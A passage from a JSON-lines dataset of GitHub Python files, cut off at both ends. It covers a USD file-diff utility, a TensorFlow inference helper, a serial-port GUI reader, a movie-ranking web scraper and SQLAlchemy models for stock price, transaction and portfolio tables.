our files into the temporaries\n        convertError = 'Error: failed to convert from %s to %s.'\n        if _convertTo(baseline, tempBaseline.name, usdcatCmd, \n                      flatten, fmt=None) != 0:\n            _exit(convertError % (baseline, tempBaseline.name),\n                  ERROR_EXIT_CODE)\n        if _convertTo(comparison, tempComparison.name, usdcatCmd,\n                      flatten, fmt=None) != 0:\n            _exit(convertError % (comparison, tempComparison.name),\n                  ERROR_EXIT_CODE) \n\n        tempBaselineTimestamp = os.path.getmtime(tempBaseline.name)\n        tempComparisonTimestamp = os.path.getmtime(tempComparison.name)\n\n        if diffCmd:\n            # Run the external diff tool.\n            if brief:\n                diffCmdArgs.append(\"--brief\")\n            diffResult = call([diffCmd] + diffCmdArgs + [tempBaseline.name, tempComparison.name])\n\n        else:\n            # Read the files.\n            with open(tempBaseline.name, \"r\") as f:\n                baselineData = f.readlines()\n            with open(tempComparison.name, \"r\") as f:\n                comparisonData = f.readlines()\n\n            if baselineData != comparisonData:\n                if brief:\n                    print(\"Files %s and %s differ\" % (baseline, comparison))\n                else:\n                    # Generate unified diff and output if there are any differences.\n                    diff = list(difflib.unified_diff(\n                        baselineData, comparisonData,\n                        tempBaseline.name, tempComparison.name, n=0))\n                    # Skip the file names.\n                    for line in diff[2:]:\n                        print(line, end='')\n                diffResult = 1\n\n        tempBaselineChanged = ( \n            os.path.getmtime(tempBaseline.name) != tempBaselineTimestamp)\n        tempComparisonChanged = (\n            os.path.getmtime(tempComparison.name) != tempComparisonTimestamp)\n\n        # If we intend to edit either of the files\n        if not noeffect:\n            if tempBaselineChanged:\n                if _tryEdit(baseline, tempBaseline.name, \n                            usdcatCmd, baselineFileType, flatten) != 0:\n                    _exit(convertError % (baseline, tempBaseline.name),\n                          ERROR_EXIT_CODE)\n            if tempComparisonChanged:\n                if _tryEdit(comparison, tempComparison.name,\n                            usdcatCmd, comparisonFileType, flatten) != 0:\n                    _exit(convertError % (comparison, tempComparison.name),\n                          ERROR_EXIT_CODE)\n    return diffResult\n\ndef _findFiles(args):\n    '''Return a 3-tuple of lists: (baseline-only, matching, comparison-only).\n    baseline-only and comparison-only are lists of individual files, while\n    matching is a list of corresponding pairs of files.'''\n    import os\n    import stat\n    from wabi import Ar\n\n    join = os.path.join\n    basename = os.path.basename\n    exists = os.path.exists\n\n    def listFiles(dirpath):\n        ret = []\n        for root, _, files in os.walk(dirpath):\n            ret += [os.path.relpath(join(root, file), dirpath)\n                    for file in files]\n        return set(ret)\n\n    # Must have FILE FILE, DIR DIR, DIR FILES... or FILES... DIR.\n    err = ValueError(\"Error: File arguments must be one of: \"\n                     \"FILE FILE, DIR DIR, DIR FILES..., or FILES... DIR.\")\n    if len(args) < 2:\n        raise err\n\n    # For speed, since filestats can be slow, stat all args once, then reuse that\n    # to determine isdir/isfile\n    resolver = Ar.GetResolver()\n    stats = []\n    for arg in args:\n        try:\n            st = os.stat(arg)\n        except (OSError, IOError):\n            if not resolver.Resolve(arg):\n                raise ValueError(\"Error: %s does not exist, and cannot be \"\n                                 \"resolved\" % arg)\n            st = None\n        stats.append(st)\n\n    def isdir(st):\n        return st and stat.S_ISDIR(st.st_mode)\n\n    # if any of the directory forms are used, no paths may be unresolved assets\n    def validateFiles():\n        for i, st in enumerate(stats):\n            if st is None:\n                raise ValueError(\"Error: %s did not exist on disk, and using a \"\n                                 \"directory comparison form\" % args[i])\n\n    # DIR FILES...\n    if isdir(stats[0]) and not any(map(isdir, stats[1:])):\n        validateFiles()\n        dirpath = args[0]\n        files = set(map(os.path.relpath, args[1:]))\n        dirfiles = listFiles(dirpath)\n        return ([], \n                [(join(dirpath, p), p) for p in files & dirfiles],\n                [p for p in files - dirfiles])\n    # FILES... DIR\n    elif not any(map(isdir, stats[:-1])) and isdir(stats[-1]):\n        validateFiles()\n        dirpath = args[-1]\n        files = set(map(os.path.relpath, args[:-1]))\n        dirfiles = listFiles(dirpath)\n        return ([p for p in files - dirfiles],\n                [(p, join(dirpath, p)) for p in files & dirfiles],\n                [])\n    # FILE FILE or DIR DIR\n    elif len(args) == 2:\n        # DIR DIR\n        if all(map(isdir, stats)):\n            ldir, rdir = args[0], args[1]\n            lhs, rhs = map(listFiles, args)\n            return (\n                # baseline only\n                sorted([join(ldir, p) for p in lhs - rhs]),\n                # corresponding\n                sorted([(join(ldir, p), join(rdir, p)) for p in lhs & rhs]),\n                # comparison only\n                sorted([join(rdir, p) for p in rhs - lhs]))\n        # FILE FILE\n        elif not any(map(isdir, stats)):\n            return ([], [(args[0], args[1])], [])\n\n    raise err\n\ndef main():\n    import argparse\n\n    parser = argparse.ArgumentParser(prog=os.path.basename(sys.argv[0]),\n                description=\"Compares two usd-readable files using a selected\"\n                            \" diff program. This is chosen by looking at the\" \n                            \" $USD_DIFF environment variable. If this is unset,\"\n                            \" it will consult the $DIFF environment variable. \"\n                            \" Lastly, if neither of these is set, it will try\" \n                            \" to use the canonical unix program, diff.\"\n                            \" This will relay the exit code of the selected\"\n                            \" diff program.\")\n    parser.add_argument('files', nargs='+',\n                        help='The files to compare. These must be of the form '\n                             'DIR DIR, FILE... DIR, DIR FILE... or FILE FILE. ')\n    parser.add_argument('-n', '--noeffect', action='store_true',\n                        help='Do not edit either file.') \n    parser.add_argument('-f', '--flatten', action='store_true',\n                        help='Fully compose both layers as Usd Stages and '\n                             'flatten into single layers.')\n    parser.add_argument('-q', '--brief', action='store_true',\n                        help='Do not return full results of diffs. Passes --brief to the diff command.')\n\n    results = parser.parse_args()\n    diffResult = NO_DIFF_FOUND_EXIT_CODE \n\n    try:\n        baselineOnly, common, comparisonOnly = _findFiles(results.files)\n\n        for (baseline, comparison) in common:\n            if _runDiff(baseline, comparison, \n                        results.flatten, results.noeffect, results.brief):\n                diffResult = DIFF_FOUND_EXIT_CODE\n\n        mismatchMsg = 'No corresponding file found for %s, skipping.'\n        for b in baselineOnly:\n            print(mismatchMsg % b)\n\n        for c in comparisonOnly:\n            print(mismatchMsg % c)\n\n    except ValueError as err:\n        _exit(str(err), ERROR_EXIT_CODE)\n    \n    _exit(None, diffResult)\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Wabi-Studios/Kraken","sub_path":"wabi/usd/bin/usddiff/usddiff.py","file_name":"usddiff.py","file_ext":"py","file_size_in_byte":13329,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"35"}
{"seq_id":"32066576086","text":"import numpy as np\nimport tensorflow as tf\n\n\nclass InferenceGraph:\n    def __init__(self):\n        pass\n\n    def run_inference_for_single_input_frame(self, model, input_frame,log, log_path):\n        \"\"\"\n            Method Name: run_inference_for_single_input_frame\n            Description: This function make prediction on the given input frame and provides us the results \n            in a dictionary format\n            Output: output_dict\n        \"\"\"\n\n        log_file = open(log_path + 'run_inference_for_single_input_frame.txt', 'a+')\n        try:\n            input_tensor = tf.convert_to_tensor(input_frame)\n            # Initialize the model with a default set of data attributes that were used to build it\n            model_fn = model.signatures['serving_default']\n            # Make predictions for the input_frame from the model\n            output_dict = model_fn(input_tensor)\n            # Took out the num_detection from dictionary because od its 1D shape=(1,)\n            num_detections = int(output_dict.pop('num_detections'))\n\n            # Convert the output dictionary tensor values in numpy array\n            output_dict = {key: value[0, :num_detections].numpy() for key, value in output_dict.items()}\n            output_dict['num_detections'] = num_detections\n            output_dict['detection_classes'] = output_dict['detection_classes'].astype(np.int16)\n\n            log.log(log_file, 'Prediction from the input frame was successful')\n            log_file.close()\n\n            return output_dict\n\n        except Exception as e:\n            log.log(log_file, 'Error during prediction from the input frame')\n            log.log(log_file, str(e))\n            log_file.close()\n\n","repo_name":"arunsinghbabal/Traffic-Security","sub_path":"application_files/inference_graph/inference_graph.py","file_name":"inference_graph.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"}
{"seq_id":"36380139146","text":"import threading\nimport queue\nimport serial\nimport serial.tools.list_ports as list_ports\nimport PySimpleGUI as sg\n\nPORT_OBJ = {'thread':None, 'Object':None}\nPORT_STOP_THREAD = True\nPORT_INFO = {}\nwind = None\n\ndef search_port_list() -> list:\n\ttar = []\n\t_ports = list_ports.comports()\n\tfor _port in _ports:\n\t\ttar.append(_port.device)\n\t\tPORT_INFO[_port.device] = [_port.vid, _port.pid, _port.serial_number]\n\treturn tar\n\ndef get_port_info(_port_id: str) -> str:\n\treturn f\"VID:{PORT_INFO[_port_id][0]}\\nPID:{PORT_INFO[_port_id][1]}\\nSN :{PORT_INFO[_port_id][2]}\"\n\ndef start_serial_data(_port_id: str, _baud_rate: int, _stop_thread: bool, _queue:queue.Queue):\n\tser = serial.Serial(_port_id, _baud_rate)\n\t# alpha = \n\t# beta = \n\t# pre_remain = \n\t# cur_remain = \n\t# pre_time = \n\t# cur_time = \n\twhile True:\n\t\tif not _stop_thread():\n\t\t\tser.close()\n\t\t\tbreak\n\n\t\tif ser.is_open:\n\t\t\tdata = ser.readline()\n\t\t\tif None != data:\n\t\t\t\t_queue.put(f'{data.decode(\"utf-8\")}$connect success')\n\t\telse:\n\t\t\t_queue.put('$the connect is lost')\n\nif __name__ == \"__main__\":\n\n\tsg.theme(\"DarkBlue\")#(\"HotDogStand\")\n\n\tLAYOUT = [\n\t\t[sg.Text('Smart-Pen', font=\"Helvetica 20 bold\")],\n\t\t[\n\t\t\tsg.Column([\n\t\t\t\t[sg.Frame(\"Port Setting\", [\n\t\t\t\t\t[sg.Button('Reload', key=\"_PORT_RELOAD\", expand_x=True)],\n\t\t\t\t\t[sg.Listbox(search_port_list(), key=\"_PORT_SELECT\", size=(20,6), expand_x=True, enable_events=True)],\n\t\t\t\t\t[sg.Text('Port Information', key=\"_PORT_INFO\",size=(20,None), expand_x=True)],\n\t\t\t\t\t# [sg.Text(\"How many sample?\"), sg.Input('', key=\"_DATA_SAMPLE\", expand_x=True)],\n\t\t\t\t\t[sg.Button('Select', key=\"_PORT_EVENT\", expand_x=True)]\n\t\t\t\t])],\n\t\t\t\t[sg.Frame(\"Connect BLE\",[\n\t\t\t\t\t[sg.Button('Connect', key=\"_BLE_CONNECT\",expand_x = True)]\n\t\t\t\t])],\n\t\t\t\t[sg.Frame(\"Graph Type\", [\n\t\t\t\t\t[sg.Text('Graph Information', size=(20,None), expand_x=True)],\n\t\t\t\t\t[sg.Radio('type 1', \"GraphType\", key=\"_GRAPH_SELECT1\", expand_x=True)],\n\t\t\t\t\t[sg.Radio('type 2', \"GraphType\", key=\"_GRAPH_SELECT2\", expand_x=True)],\n\t\t\t\t\t[sg.Radio('type 3', \"GraphType\", key=\"_GRAPH_SELECT3\", expand_x=True)],\n\t\t\t\t\t[sg.Radio('type 4', \"GraphType\", key=\"_GRAPH_SELECT4\", expand_x=True)],\n\t\t\t\t])],\n\t\t\t\t[sg.Frame(\"Filter Setting\", [\n\t\t\t\t\t[sg.Text('Filter Information', size=(20,None), expand_x=True)],\n\t\t\t\t\t[sg.Radio('type 1', \"FilterType\", key=\"_FILTER_SELECT1\", expand_x=True)],\n\t\t\t\t\t[sg.Radio('type 2', \"FilterType\", key=\"_FILTER_SELECT2\", expand_x=True)],\n\t\t\t\t\t[sg.Radio('type 3', \"FilterType\", key=\"_FILTER_SELECT3\", expand_x=True)],\n\t\t\t\t\t[sg.Radio('type 4', \"FilterType\", key=\"_FILTER_SELECT4\", expand_x=True)],\n\t\t\t\t])],\n\t\t\t], vertical_alignment='top'),\n\t\t\tsg.Multiline(\"output Area Ready...\", key=\"_OUTPUT\", size=(80,40), border_width=2, autoscroll=True)\n\t\t],\n\t\t[sg.StatusBar(\"Status Area Ready\", key=\"_STATUS\")],\n\t]\n\n\twind = sg.Window('Smart-pen', LAYOUT, resizable=True)\n\tmesQue = queue.Queue()\n\n\twhile True:\n\t\t_event, _values = wind.Read(timeout=100)\n\t\t# print([_event, _values])\n\n\t\tif sg.WIN_CLOSED == _event:\n\t\t\tbreak\n\t\telif \"_PORT_RELOAD\" == _event:\n\t\t\twind['_PORT_SELECT'].update(search_port_list())\n\t\telif \"_PORT_SELECT\" == _event:\n\t\t\tif 0 < len(_values['_PORT_SELECT']):\n\t\t\t\twind['_PORT_INFO'].update(get_port_info(_values['_PORT_SELECT'][0]))\n\t\t\t\twind['_STATUS'].update(f'{_values[\"_PORT_SELECT\"][0]} was selected')\n\t\telif \"_PORT_EVENT\" == _event:\n\t\t\tif \"Select\" == wind['_PORT_EVENT'].get_text():\n\t\t\t\tif 0 < len(_values[\"_PORT_SELECT\"]):\n\t\t\t\t\twind['_PORT_EVENT'].update('Stop')\n\t\t\t\t\twind['_OUTPUT'].update('')\n\t\t\t\t\tPORT_STOP_THREAD = True\n\t\t\t\t\tPORT_OBJ[\"thread\"] = threading.Thread(target=start_serial_data, args=(\n\t\t\t\t\t\t_values[\"_PORT_SELECT\"][0],\n\t\t\t\t\t\t115200,\n\t\t\t\t\t\tlambda: PORT_STOP_THREAD,\n\t\t\t\t\t\tmesQue\n\t\t\t\t\t\t), daemon=True)\n\t\t\t\t\tPORT_OBJ[\"thread\"].start()\n\t\t\telse:\n\t\t\t\tPORT_STOP_THREAD = False\n\t\t\t\tPORT_OBJ[\"thread\"].join()\n\t\t\t\twind['_PORT_EVENT'].update('Select')\n\t\t\t\twind['_STATUS'].update('Stop Receiving Data')\n\t\telif \"_BLE_CONNECT\" == _event:\n\t\t\tif \"Connect\" == wind['_BLE_CONNECT'].get_text():\n\t\t\t\twind['_BLE_CONNECT'].update('Stop')\n\t\t\t\twind['_OUTPUT'].update('')\n\t\t\t\tPORT_STOP_THREAD = True\n\t\t\t\tPORT_OBJ[\"thread\"] = threading.Thread(target=start_serial_data, args=(\n\t\t\t\t\t\"COM9\",\n\t\t\t\t\t9600,\n\t\t\t\t\tlambda: PORT_STOP_THREAD,\n\t\t\t\t\tmesQue\n\t\t\t\t\t), daemon=True)\n\t\t\t\tPORT_OBJ[\"thread\"].start()\n\t\t\telse:\n\t\t\t\tPORT_STOP_THREAD = False\n\t\t\t\tPORT_OBJ[\"thread\"].join()\n\t\t\t\twind['_BLE_CONNECT'].update('Connect')\n\t\t\t\twind['_STATUS'].update('Stop Receiving Data')\n\n\t\ttry:\n\t\t\tmessage = mesQue.get_nowait()\n\t\texcept queue.Empty:\n\t\t\tmessage = None\n\t\telse:\n\t\t\t_output, _status = message.split('$')\n\t\t\t_prev_output = wind['_OUTPUT'].get()\n\t\t\twind['_OUTPUT'].update(_prev_output+'\\n'+_output)\n\t\t\twind['_STATUS'].update(_status)\n\n\twind.Close()\n\tdel wind","repo_name":"siorTeam/smart-pen","sub_path":"week7/main-processor-python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4687,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"13513385150","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport os \nfrom datetime import datetime\n\n\nclass MovieScraper:\n    def __init__(self, base_url):\n        self.base_url = base_url\n        self.movies = []\n    \n    def get_movies(self, url):\n        response = requests.get(url)\n        html = response.text\n        soup = BeautifulSoup(html, 'html.parser')\n\n        parent_tag = soup.find_all(class_='css-1qq59e8')\n        netflix_tag = parent_tag[2]\n\n        for idx, movie_li in enumerate(netflix_tag.find_all(class_='css-8y23cj')):\n            movie_link = movie_li.find('a')['href']\n            movie_img = movie_li.find('img')['src']\n            movie_title = movie_li.find(class_='css-5yuqaa').text\n            movie_mean_rate = movie_li.find(class_='average css-xgmur2').find_all('span')[1].text\n\n            movie = dict()\n            movie[\"date\"] = datetime.now().strftime(\"%Y-%m-%d\")\n            movie[\"rank\"] = idx + 1\n            movie[\"title\"] = movie_title\n            movie[\"mean_rate\"] = movie_mean_rate\n            movie[\"movies_link\"] = self.base_url + movie_link\n            movie[\"img\"] = movie_img\n            \n            self.get_movie_details(movie)\n            self.movies.append(movie)\n            print(movie)\n        \n\n    def get_movie_details(self, movie):\n        movie_url = movie[\"movies_link\"]\n        response = requests.get(movie_url)\n        html = response.text\n        soup = BeautifulSoup(html, 'html.parser')\n\n        parent_tag = soup.find_all('article')[0]\n        title = parent_tag.find(class_='css-wvh1uf-Summary eokm2781').contents[0].strip()\n        year_country_genre = parent_tag.find_all(class_='css-1t00yeb-OverviewMeta eokm2782')[0].text.split('·')\n        year = year_country_genre[0].strip()\n        country = year_country_genre[1].strip()\n        genre = year_country_genre[2].strip()\n        \n        try:\n            time_regulation = parent_tag.find_all(class_='css-1t00yeb-OverviewMeta eokm2782')[1].text.split('·')\n            time = time_regulation[0].strip()\n            regulation = time_regulation[1].strip()\n        except IndexError:\n            time = \"Unknown\"\n            regulation = \"Unknown\"\n\n        description = parent_tag.find(class_='css-kywn6v-StyledText eb5y16b1').text.strip()\n\n        movie[\"year\"] = year\n        movie[\"country\"] = country\n        movie[\"genre\"] = genre\n        movie[\"time\"] = time\n        movie[\"regulation\"] = regulation\n        movie[\"description\"] = description\n\n    def save_to_csv(self, file_name):\n        df = pd.DataFrame(self.movies)\n        df.to_csv(file_name, index=False, encoding='utf-8-sig')\n\n\nif __name__ == \"__main__\":\n    base_url = \"https://pedia.watcha.com\"\n    ranking_url = \"https://pedia.watcha.com/ko-KR\"\n    scraper = MovieScraper(base_url)\n    scraper.get_movies(ranking_url)\n    \n    output_folder = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\")\n    if not os.path.exists(output_folder):\n        os.makedirs(output_folder)\n    \n    file_path = os.path.join(output_folder, \"movie_rankings.csv\")\n    scraper.save_to_csv(file_path)\n    print(file_path)\n    ","repo_name":"Devcourse-1th-team1-1/back-end-repo","sub_path":"crawlingFolder/movie_ranking_info.py","file_name":"movie_ranking_info.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"43022798248","text":"from importlib import resources\nfrom types import NoneType\nimport sqlalchemy as db\nfrom sqlalchemy import event\nfrom sqlalchemy.orm import declarative_base as Base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy_utils import create_database, database_exists, drop_database\nimport numpy as np\nimport datetime as dt\nimport yfinance as yf\nimport pandas as pd\nfrom .utils import convert_sql_to_string, transaction_chain\n\n\n_base = Base()\n\n\ndef OHLCV(base):\n    \"\"\"\n    This function takes a SQLAlchemy declarative_base and returns a SQLAlchemy \n    table/mapper. The mapper will take the open, low, high, close and volume\n    of a stock during a specified time period as well as the datetime \n    and timestamp from the beginning of the time period and the timestep from\n    the open of a period to the close of a period and map it to a row in a \n    database titled \"ohlcv\". The mapper contains of an underlying sqlalchemy\n    metadata object that can be combined with an engine to create the table\n    if it does not exist. See example usage below.\n    \n    Parameters\n    --------------------------------------------------\n    base : sqlalchemy.orm.declarative_base\n        A declarative_base that will be inheirited by the underlying class\n       \n\n    Returns\n    --------------------------------------------------\n    _OHLCV(base) : SQLAlchemy table/mapper class \n        _OHLCV maps rows to a sql table names \"ohlcv\" under a \n        sqlalchemy.orm.sessionmaker setting. \n\n    Example Usage\n    --------------------------------------------------\n    from sqlalchemy import create_engine\n    from sqlalchemy.orm import sessionmaker\n    from sqlalchemy.orm import declarative_base as Base\n    \n    base = Base()\n    _OHLCV = OHLCV(base)\n\n    engine = create_engine(...)\n\n    if not database_exists(engine.url):\n        create_database(engine.url) \n    base.metadata.create_all(bind=engine)\n\n    session = sessionmaker(bind=engine)()\n\n    entry = _OHLCV(\n        datetime, ticker, open, high, low, close, volumne, timestamp\n    )\n\n    session.add(entry)\n    session.commit()\n    session.close()\n    \"\"\"\n\n    class _OHLCV(base):\n        # table name for User model\n        __tablename__ = \"ohlcv\"\n    \n        # user columns\n        datetime = db.Column(\n            db.DateTime(), primary_key=True, autoincrement=False\n        )\n        ticker = db.Column(\n            db.String(5), primary_key=True, autoincrement=False\n        )\n        open = db.Column(db.Float())\n        high = db.Column(db.Float())\n        low = db.Column(db.Float())\n        close = db.Column(db.Float())\n        volume = db.Column(db.Float())\n        timestamp = db.Column(db.Integer())\n     \n        def __init__(\n            self,\n            datetime,\n            ticker,\n            open,\n            high,\n            low,\n            close,\n            volume,\n            timestamp,\n        ):\n            \"\"\"\n            Parameters\n            --------------------------------------------------\n            datetime : datetime.datetime\n                The datetime from the start of the period for the stock price\n\n            ticker : str\n                stock ticker\n\n            open : float \n                open price of the period\n\n            high : float\n                high price of the period\n\n            low : float \n                low price of the period\n\n            close : float \n                close price of the period\n\n            volume : float\n                volume price of the period\n\n            timestamp : float \n                unix timestamp of the datetime\n\n            Returns\n            --------------------------------------------------\n            A mapable object that can be sent to a sql table with the use of\n            sqlalchemy.creat_engine and sqlalchemy.orm.sessionmaker. See \n            example usage in help(OHLCV)\n            \"\"\"\n            self.datetime = datetime \n            self.ticker = ticker\n            self.open = open \n            self.high = high\n            self.low = low\n            self.close = close\n            self.volume = volume\n            self.timestamp = timestamp\n\n    return _OHLCV\n\n\ndef TransactionHistory(base):\n    \"\"\"\n    This function takes a SQLAlchemy declarative_base and returns a SQLAlchemy \n    table/mapper. The mapper will take information of a stock transaction and \n    return a mappable object that can then be sent sql table titled\n    \"transaction_history\". The mapper contains of an underlying sqlalchemy\n    metadata object that can be combined with an engine to create the table\n    if it does not exist. See example usage below.\n    \n    Parameters\n    --------------------------------------------------\n    base : sqlalchemy.orm.declarative_base\n        A declarative_base that will be inheirited by the underlying class\n       \n\n    Returns\n    --------------------------------------------------\n    _Transaction_History(base) : SQLAlchemy table/mapper class \n        _Transaction_History maps rows to a sql table named \n        \"transaction_history\" under a sqlalchemy.orm.sessionmaker setting. \n\n    Example Usage\n    --------------------------------------------------\n    from sqlalchemy import create_engine\n    from sqlalchemy.orm import sessionmaker\n    from sqlalchemy.orm import declarative_base as Base\n    \n    base = Base()\n    _Transaction_History = Transaction_History(base)\n\n    engine = create_engine(...)\n\n    if not database_exists(engine.url):\n        create_database(engine.url) \n    base.metadata.create_all(bind=engine)\n\n    session = sessionmaker(bind=engine)()\n\n    entry = _Transaction_History(\n        datetime, ticker, position_type, action, no_shares, at_price\n    )\n\n    session.add(entry)\n    session.commit()\n    session.close()\n    \"\"\"\n\n    class _TransactionHistory(base):\n        # table name for User model\n        __tablename__ = \"transaction_history\"\n    \n        # user columns\n        user_id = db.Column(\n            db.Integer(), primary_key=True, autoincrement=False\n        )\n        trans_id = db.Column(\n            db.Integer(), primary_key=True, autoincrement=True\n        )\n        datetime = db.Column(\n            db.DateTime()\n        )\n        ticker = db.Column(\n            db.String(6),\n        )\n        position_type = db.Column(\n            db.Integer(), \n            db.CheckConstraint(\"position_type = 1 or position_type = -1\")\n        )\n        action = db.Column(\n            db.Integer()\n        )\n        no_shares = db.Column(db.Float())\n        at_price = db.Column(db.Float())\n     \n        def __init__(\n            self,\n            user_id,\n            datetime,\n            ticker,\n            position_type,\n            action,\n            no_shares,\n            at_price\n        ):\n            \"\"\"\n            Parameters\n            --------------------------------------------------\n            user_id : int\n                ID of the investor\n\n            datetime : datetime.datetime\n                The datetime of the transaction.\n\n            ticker : str\n                stock ticker\n\n            position_type : float \n                Indication of whether the transaction is a short or long. 1.0\n                refers to a long position and -1.0 refers to a short position.\n\n            action : float\n                Indication of whether the transaction refers to a sell or a \n                purchase. 1.0 indicates a purchase and -1.0 indicates a sell.\n\n            no_shares : float \n                Amount of shares either bought or sold in the transaction.\n\n            at_price : float \n                The price per share of the transaction.\n\n            Returns\n            --------------------------------------------------\n            A mapable object that can be sent to a sql table with the use of\n            sqlalchemy.creat_engine and sqlalchemy.orm.sessionmaker. See\n            example usage in help(Transaction_History)\n            \"\"\"\n            self.user_id = user_id \n            self.datetime = datetime \n            self.ticker = ticker \n            self.position_type = position_type \n            self.action = action\n            self.no_shares = no_shares\n            self.at_price = at_price\n\n    return _TransactionHistory \n\n\ndef Portfolio(base):\n    \"\"\"\n    Suggestion\n    --------------------------------------------------\n    This function should predominatly used to only create the portfolio table\n    and it should be used in tandom with Transaction_History with the use of\n    a SQL trigger. A Trigger should be applied to take the\n    transaction_history rows and calculate the performace of the portfolio \n    ranther than using this function and its underlying _Portfolio(base)\n    class directly to update the portfolio table.\n\n    This function takes a SQLAlchemy declarative_base and returns a SQLAlchemy \n    table/mapper.\n    The mapper will map information about a investorys portfolio to a table\n    named \"portfolio\".\n    The mapper contains of an underlying sqlalchemy\n    metadata object that can be combined with an engine to create the table\n    if it does not exist. See example usage below.\n    \n    Parameters\n    --------------------------------------------------\n    base : sqlalchemy.orm.declarative_base\n        A declarative_base that will be inheirited by the underlying class\n       \n\n    Returns\n    --------------------------------------------------\n    _Porfolio(base) : SQLAlchemy table/mapper class \n        _Portfolio maps rows to a sql table named \"portfolio\" under a \n        sqlalchemy.orm.sessionmaker setting. \n\n    Example Usage\n    --------------------------------------------------\n    from sqlalchemy import create_engine\n    from sqlalchemy.orm import sessionmaker\n    from sqlalchemy.orm import declarative_base as Base\n    \n    base = Base()\n    _Portfolio = Portfolio(base)\n\n    engine = create_engine(...)\n\n    if not database_exists(engine.url):\n        create_database(engine.url) \n    base.metadata.create_all(bind=engine)\n\n    session = sessionmaker(bind=engine)()\n\n    entry = Portfolio(\n        ticker, position_type, position, last_price, cost_basis, \n        total_invested, current_value, realized_profit, gain \n    )\n\n    session.add(entry)\n    session.commit()\n    session.close()\n    \"\"\"\n    class _Portfolio(base):\n        # table name for User model\n        __tablename__ = \"portfolio\"\n    \n        # user columns\n        user_id = db.Column(\n            db.Integer, primary_key=True, autoincrement=False\n        )\n        ticker = db.Column(\n            db.String(6), primary_key=True, autoincrement=False\n        )\n        position_type = db.Column(\n            db.Integer(), \n            db.CheckConstraint(\"position_type = 1 or position_type = -1\"),\n            primary_key=True,\n            autoincrement=False\n        )\n        position = db.Column(\n            db.Integer()\n        )\n        last_price = db.Column(db.Float())\n        cost_basis = db.Column(db.Float())\n        total_invested = db.Column(db.Float())\n        current_value = db.Column(db.Float())\n        realized_profit = db.Column(db.Float())\n        gain = db.Column(db.Float())\n\n        def __init__(\n            self,\n            user_id,\n            ticker,\n            position_type,\n            position,\n            last_price,\n            cost_basis,\n            total_invested,\n            current_value,\n            realized_profit,\n            gain\n        ):\n            \"\"\"\n            These values will be auto-calculated by \n            './stock_returns/sql/trans_to_port_trig.sql'.\n\n            Parameters\n            --------------------------------------------------\n            user_id : int \n                ID of the investor.\n\n            ticker : str\n                The stock's ticker.\n\n            position_type : float\n                Indication whether the position is a short or a long.\n                1.0 indicated a long and -1.0 indicates a short.\n\n            position : float\n                The amount of shares either long or short.\n\n            last_price : float\n                The last known price of the stock of the position.\n\n            cost_basis : float\n                *   For a long postition, this is the average price per share \n                    of the position and this is only affected by new purchases.\n                    For a purchase of size no_shares at a price of at_price, \n                    the cost basis is calculated to be \n                        cost_basis = (\n                            ((position - no_shares) * cost_basis) \n                            + no_shares * at_price\n                        ) / position,\n                    where position = position + no_shares is the size of the \n                    position after the purchase of no_shares new shares.\n                *   For a short postition, this represents the average price \n                    per share that the investory needs to pay back and this \n                    is only affected by borrowing more of the stock.\n                    For a short of size no_shares at a price of at_price, \n                    the cost basis is calculated to be \n                        cost_basis = (\n                            (-1.0 * (position + no_shares) * cost_basis) \n                            + (no_shares * at_price)\n                        ) / position * -1.0,\n                    where position = position - no_shares is the size of the \n                    position after the short of no_share additional shares.\n\n            total_invested : float \n                *   For a long position, this is the total amount of money that\n                    has been invested into the stock.\n                *   For a short position, this is the total amount of money \n                    that has gone into repaying the total amount borrowed.\n\n            current_value : float \n                last_price * position. \n                *   For a long position...\n                *   For a short position...\n\n            realized_profit : float \n                *   For long position, this is the total amount of money that \n                    has been accrued through selling stock. \n                    This number being positive does not mean that the \n                    invester is up on his investment, it just means that \n                    they have sold some of their stock.\n                *   For a short position, this is...\n\n            gain : float \n                This is the percent gain that the investor has on thier\n                investment.\n                *   For a long position...\n                *   For a short position...\n\n            Returns\n            --------------------------------------------------\n            A mapable object that can be sent to a sql table with the use of\n            sqlalchemy.creat_engine and sqlalchemy.orm.sessionmaker. See\n            example usage in help(Portfolio).\n            \"\"\"\n            self.user_id = user_id \n            self.ticker = ticker\n            self.position_type = position_type \n            self.position = position \n            self.last_price = last_price \n            self.cost_basis = cost_basis\n            self.total_invested = total_invested \n            self.current_value = current_value \n            self.realized_profit = realized_profit \n            self.gain = gain\n\n    return _Portfolio \n\n\nclass Create:\n    \"\"\"\n    Warning\n    --------------------------------------------------\n    The default settings of the initialize method of this class requires a \n    MySQL server. The default trigger uses MySQL syntax and will not work with\n    other SQL servers. However the user may use his or her own trigger if they\n    prefer to use another SQL server such as Postgre, sqlite etc.\n\n    This class will be used to create the database, tables and populate the\n    tables with real stock data that will be scrapped from yahoo using the \n    yfinance library. The class will also create some fake transactions for an \n    investory and store these transactions in a table named\n    \"transaction_history\". The performance of these transactions will \n    automatically be calculated apon each insertioin of a new transaction by\n    the use of a trigger. The performance of the portfolio will be tracked in \n    the \"portfolio\" table.\n\n    Parameters\n    --------------------------------------------------\n    engine : sqlalchemy engine\n        The engine connecting sqlalchemy to the database.\n    base : sqlalchemy.orm.declarative_base, default _base = declarative_base()\n        A default is set to a declarative_base().\n    OHLCV : default OHLCV(base)\n    TransactionHistory : default TransactionHistory(base)\n    Portfolio : default Portfolio(base)\n\n    Methods \n    --------------------------------------------------\n    initialize\n        Initializes the database and data and populates with stock data \n        scraped from yfinance as well as some fake transaction data.\n\n    Example Usage\n    --------------------------------------------------\n    import sqlalchemy as db\n    from sqlalchemy.orm import declarative_base as Base\n    import pandas as pd\n\n    dialect=\"mysql\",\n    driver=\"pymysql\",\n    username=\"root\",\n    password=\"password\",\n    host=\"127.0.0.1\",\n    port=\"3306\",\n    db=\"stock_returns\",\n    unix_socket=\"/tmp/mysql.sock\"\n    \n    engine_text = 